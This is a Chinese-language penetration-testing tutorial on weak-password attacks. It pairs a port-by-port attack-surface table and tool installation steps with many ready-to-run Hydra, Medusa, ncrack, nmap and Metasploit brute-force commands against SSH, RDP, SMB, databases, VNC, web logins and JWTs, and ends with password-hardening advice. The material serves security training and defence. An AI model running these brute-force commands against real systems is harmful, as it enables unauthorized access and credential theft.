本文总结各类弱口令漏洞类型及利用方式...
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途…
0x01 攻击面 弱口令爆破常用端口及服务总结如下:
端口
服务
爆破方式
21
ftp/tftp/vsftpd文件传输协议
爆破/嗅探/溢出/后门
22
ssh远程连接
爆破/OpenSSH漏洞
23
Telnet远程连接
爆破/嗅探
25
SMTP邮件服务
邮件伪造
53
DNS域名解析系统
DNS区域传输/劫持/缓存投毒/欺骗; 利用DNS隧道技术刺透防火墙
67/68
dhcp服务
劫持/欺骗
69
tftp(简单文件传输协议,无认证)
尝试下载目标重要配置文件
110
pop3
爆破/嗅探
137/139
Samba服务
爆破/未授权访问/远程代码执行
143
Imap协议
爆破
161
SNMP协议
爆破/搜集目标内网信息
389
Ldap目录访问协议
注入/未授权访问/弱口令/匿名访问
445
smb
ms17-010/端口溢出
512/513/514
Linux Rexec服务
爆破/Rlogin登陆
873
Rsync服务
文件上传/匿名访问
1080
socket
爆破/内网渗透
1099
JAVA RMI
反序列化远程命令执行漏洞
1194
openvpn
获取vpn账号,进内网
1352
Lotus domino邮件服务
爆破/弱口令/信息泄漏
1433
mssql
爆破/注入攻击/提权/sa弱口令
1500
ispmanager主机控制面板
弱口令
1521
oracle
注入攻击/TNS爆破/弹shell
1723
pptp
爆破/获取vpn账号,进内网
2049
Nfs服务
配置不当
2082,2083
cpanel主机管理面板登录
弱口令
2181
zookeeper服务
未授权访问
2375
docker remote api
未授权访问
2601,2604
zebra路由
默认密码zerbra
3128
squid代理服务
弱口令
3306
mysql
爆破/注入/拒绝服务/提取
3389
Rdp远程桌面连接
爆破/shift后门/ms12-020
3690
svn服务
svn泄露/未授权访问
4848
GlassFish控制台
爆破/认证绕过
5000
sybase/DB2数据库
爆破/注入
5432
postgresql
爆破/注入/缓冲区溢出
5632
pcanywhere服务
拒绝服务/代码执行
5900,5901,5902
vnc
弱口令爆破
5984
CouchDB
未授权访问导致任意指令执行
6379
Redis数据库
未授权访问/爆破
6443
Kubernetes API Server
未授权访问
7001/7002
weblogic
java反序列化/控制台弱口令/控制台上传webshell/SSRF
80-89,443
http/https
web应用漏洞/OpenSSL心脏滴血
8000
JDWP
远程命令执行漏洞
8069
zabbix服务
远程命令执行/注入
8080-8089
Jboss/Tomcat/Jenkins/Resin/Jetty
控制台弱口令/反序列化/远程文件读取
8083/8086
influxDB
未授权访问
8161
ActiveMQ
弱口令/任意文件写入/反序列化
9000
fastcgi
远程命令执行
9080-9081,9090
Websphere控制台
java反序列化/弱口令
9200/9300
elasticsearch
未授权访问/远程代码执行
11211
memcached
未授权访问
27017/27018
mongodb
未授权访问/爆破
50000
SAP
远程代码执行
50070,50030
hadoop
默认端口未授权访问
Refer: http://www.91ri.org/15441.html
0x02 爆破字典 1. 爆破字典合集
2. 字典生成工具
0x03 爆破工具 1. 常用工具
2. 在线爆破 a. Hydra 安装
1 2 3 4 5 $ git clone https://github.com/vanhauser-thc/thc-hydra.git $ cd thc-hydra $ ./configure && make && make install
常用参数
选项
用途
-l
指定单个用户名,适合在知道用户名爆破用户名密码时使用
-L
指定多个用户名,参数值为存储用户名的文件的路径
-p
指定单个密码,适合在知道密码爆破用户名时使用
-P
指定多个密码,参数值为存贮密码的文件(通常称为字典)的路径
-C
当用户名和密码存储到一个文件时使用此参数。字典文件存储的格式必须为 “用户名:密码” 的格式
-M
指定多个攻击目标,此参数为存储攻击目标的文件的路径,列表文件存储格式必须为”地址:端口”
-t
指定爆破时的任务数量(线程数),默认为16
-s
指定端口,适用于攻击目标端口非默认的情况
-S
指定爆破时使用 SSL 连接
-R
继续从上一次爆破进度上继续爆破
-v
显示爆破的详细信息
-f
一旦爆破成功一个就停止爆破
b. Medusa 安装
1 2 3 4 5 6 7 8 9 $ yum -y install libssh2-devel libssh2-devel libtool libtool-ltdl libtool-ltdl-devel $ yum groupinstall -y 'development tools' $ wget http://foofus.net/goons/jmk/tools/medusa-2.2.tar.gz $ tar zxvf medusa-2.2.tar.gz && cd medusa-2.2 $ ./configure && make && make install
语法
1 Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
参数选项
选项
用途
-h [TEXT]
目标主机名称或者IP地址
-H [FILE]
包含目标主机名称或者IP地址文件
-u [TEXT]
测试的用户名
-U [FILE]
包含测试的用户名文件
-p [TEXT]
测试的密码
-P [FILE]
包含测试的密码文件
-C [FILE]
组合条目文件
-O [FILE]
日志信息文件
-e [n/s/ns]
n代表空密码,s代表为密码与用户名相同
-M [TEXT]
模块执行名称
-m [TEXT]
传递参数到模块
-d
显示所有的模块名称
-n [NUM]
使用非默认Tcp端口
-s
启用SSL
-r [NUM]
重试间隔时间,默认为3秒
-t [NUM]
设定线程数量
-T
同时测试的主机总数
-L
并行化,每个用户使用一个线程
-f
在任何主机上找到第一个账号/密码后,停止破解
-F
在任何主机上找到第一个有效的用户名/密码后停止审计
-q
显示模块的使用信息
-v [NUM]
详细级别(0-6)
-w [NUM]
错误调试级别(0-10)
-V
显示版本
-Z [TEXT]
继续上一次扫描
3. 离线爆破 a. John the Ripper 安装
1 2 3 4 5 6 7 $ wget https://www.openwall.com/john/k/john-1.9.0.tar.gz $ tar zxvf john-1.9.0.tar.gz && cd john-1.9.0 $ make && make clean linux-x86-64 $ alias john='/usr/local/john-1.9.0/run/john'
b. hashcat 安装
1 2 3 4 5 $ wget https://hashcat.net/files/hashcat-6.1.1.tar.gz $ tar zxvf hashcat-6.1.1.tar.gz $ make && make install
0x04 渗透实战 1. AJP 1 nmap --script ajp-brute -p 8009 <IP>
2. CouchDB 1 2 msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brute/wordlists/simple-users.txt -P /usr/share/brute/wordlists/password.lst localhost -s 5984 http-get /
3. Docker Registry 1 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
4. Elasticsearch 1 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
5. FTP 1 2 3 hydra -l root -P passwords.txt [-t 32] <IP> ftp ncrack -p 21 --user root -P passwords.txt <IP> [-T 5] medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
6. HTTP Basic Auth 1 2 3 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for httpS medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
7. HTTP - Post Form 1 2 hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for httpS
8. HTTP - CMS 1 cmsmap -f W/J/D/M -u a -p a https://wordpress.com
9. IMAP 1 2 3 hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V nmap -sV --script imap-brute -p <PORT> <IP>
10. IRC 1 nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
11. JWT 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt #https://github.com/Sjord/jwtcrack python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt #John john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256 #https://github.com/ticarpi/jwt_tool python3 jwt_tool.py -d wordlists.txt <JWT token> #https://github.com/brendan-rius/c-jwt-cracker ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8 #https://github.com/mazen160/jwt-pwn python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
12. LDAP 1 nmap --script ldap-brute -p 389 <IP>
13. Mongo 1 2 nmap -sV --script mongodb-brute -n -p 27017 <IP> use auxiliary/scanner/mongodb/mongodb_login
14. MySQL 1 2 3 4 5 6 7 8 # hydra hydra -L usernames.txt -P pass.txt <IP> mysql # msfconsole msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false # medusa medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
15. PostgreSQL 1 2 3 4 5 6 hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt <IP> postgres medusa -h <IP> -U /root/Desktop/user.txt -P /root/Desktop/pass.txt -M postgres ncrack -v -U /root/Desktop/user.txt -P /root/Desktop/pass.txt <IP>:5432 patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
16. RDP 1 2 ncrack -vv --user <User> -P pwds.txt rdp://<IP> hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
17. Redis 1 2 3 msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 <IP> hydra -P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
18. Rexec 1 hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
19. Rlogin 1 hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
20. Rsh 1 hydra -L <Username_list> rsh://<Victim_IP> -v -V
21. Rsync 1 nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
22. SMB 1 2 nmap --script smb-brute -p 445 <IP> hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
23. Socks 1 nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
24. SSH 1 2 3 4 hydra -l root -P passwords.txt [-t 32] <IP> ssh ncrack -p 22 --user root -P passwords.txt <IP> [-T 5] medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
25. Telnet 1 2 3 hydra -l root -P passwords.txt [-t 32] <IP> telnet ncrack -p 23 --user root -P passwords.txt <IP> [-T 5] medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
26. VNC 1 2 3 4 5 6 7 8 9 10 hydra -L /root/Desktop/user.txt -P /root/Desktop/pass.txt -s <PORT> <IP> vnc medusa -h <IP> -u root -P /root/Desktop/pass.txt -M vnc ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt -t 1 -x retry:fgep!='Authentication failure' --max-retries 0 -x quit:code=0use auxiliary/scanner/vnc/vnc_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP> #Metasploit use auxiliary/scanner/vnc/vnc_login set RHOSTS <ip> set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
0x05 防御加固 1. 缺陷总结 1 2 3 4 5 6 7 8 9 (1) 公共弱口令,出现频率比较高的弱口令 (2) 数字或字母连排或混排,键盘字母连排 (3) 默认密码,网络设备、系统组件等默认初始化弱口令 (4) 生日,姓名+生日(利用社工非常容易被破解) (5) 短语密码(如:5201314,love1314等)
2. 口令设置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 (1)不使用空口令或系统缺省的口令,这些口令众所周之,为典型的弱口令 (2)口令长度不小于8 个字符 (3)口令不应该为连续的某个字符(例如:AAAAAAAA)或重复某些字符的组合(例如:tzf.tzf.) (4)口令应该为以下四类字符的组合,大写字母(A-Z)、小写字母(a-z)、数字(0-9)和特殊字符。每类字符至少包含一个。如果某类字符只包含一个,那么该字符不应为首字符或尾字符 (5)口令中不应包含本人、父母、子女和配偶的姓名和出生日期、纪念日期、登录名、E-mail 地址等等与本人有关的信息,以及字典中的单词 (6)口令不应该为用数字或符号代替某些字母的单词 (7)口令应该易记且可以快速输入,防止他人从你身后很容易看到你的输入 (8)至少90 天内更换一次口令,防止未被发现的入侵者继续使用该口令\
3. 防御策略 1 2 3 4 5 6 7 8 9 (1) 少用滚键盘类的密码,尽量使用难以猜解的密码 (2) 防止信息泄漏导致密码泄漏或者可能易于被猜测: 登录名和用户名应进行区分;实行有效的密码策略,杜绝密码中包含用户名;不要使用易于从企业名称或者域名中得到密码信息的口令;防止GitHub信息泄漏 (3) 禁止大量系统使用同一密码 (4) 不要使用默认密码,密码默认即为密码公开 (5) 撞库问题防范: 应定期修改密码,不同的网站或账户不应该使用相同的密码; 对登录进行有效验证限制、各个功能接口做检验
0xFF Reference
本文涉及内容,仅限于网络安全从业者学习交流,切勿用于非法用途...